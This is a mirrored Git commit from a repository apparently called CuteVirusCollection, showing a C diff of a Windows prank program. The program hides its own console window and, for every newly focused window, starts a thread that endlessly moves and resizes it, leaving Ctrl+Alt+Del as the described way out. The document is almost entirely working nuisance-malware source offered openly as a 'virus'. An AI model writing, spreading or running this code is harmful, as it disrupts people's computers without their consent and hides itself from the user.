mirror of
https://github.com/MinhasKamal/CuteVirusCollection.git
synced 2025-12-05 20:40:10 -08:00
Randomly moves the window round. Only Ctrl+Alt+Del will work here.
This commit is contained in:
@@ -4,29 +4,24 @@
|
|||||||
#include <math.h>
|
#include <math.h>
|
||||||
|
|
||||||
DWORD WINAPI moveit(){
|
DWORD WINAPI moveit(){
|
||||||
int i,j,k;
|
HWND a=GetForegroundWindow();
|
||||||
HWND a = GetForegroundWindow();
|
int i,j,k=1;
|
||||||
for(k=0;;k++){
|
while(k++){
|
||||||
i=400+150*cos(k);
|
i=200+300*cos(k);
|
||||||
j=200+150*sin(k);
|
j=150+300*sin(k);
|
||||||
MoveWindow(a,i,j,i,j,1);
|
MoveWindow(a,i,j,i,j,1);
|
||||||
Sleep(40);
|
Sleep(50);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
main(){
|
main(){
|
||||||
DWORD dwThreadId;
|
DWORD dwThreadId;
|
||||||
HWND tmp = GetForegroundWindow();
|
HWND last=GetForegroundWindow();
|
||||||
HWND last = tmp;
|
ShowWindow(last, SW_HIDE);
|
||||||
|
|
||||||
ShowWindow(tmp, SW_HIDE);
|
|
||||||
Sleep(1000);
|
|
||||||
|
|
||||||
while(1){
|
while(1){
|
||||||
tmp = GetForegroundWindow();
|
if(last!=GetForegroundWindow()){
|
||||||
if(tmp != last){
|
last=GetForegroundWindow();
|
||||||
CreateThread(NULL, 0, moveit, &tmp, 0, &dwThreadId);
|
CreateThread(NULL, 0, moveit, &last, 0, &dwThreadId);
|
||||||
last = tmp;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user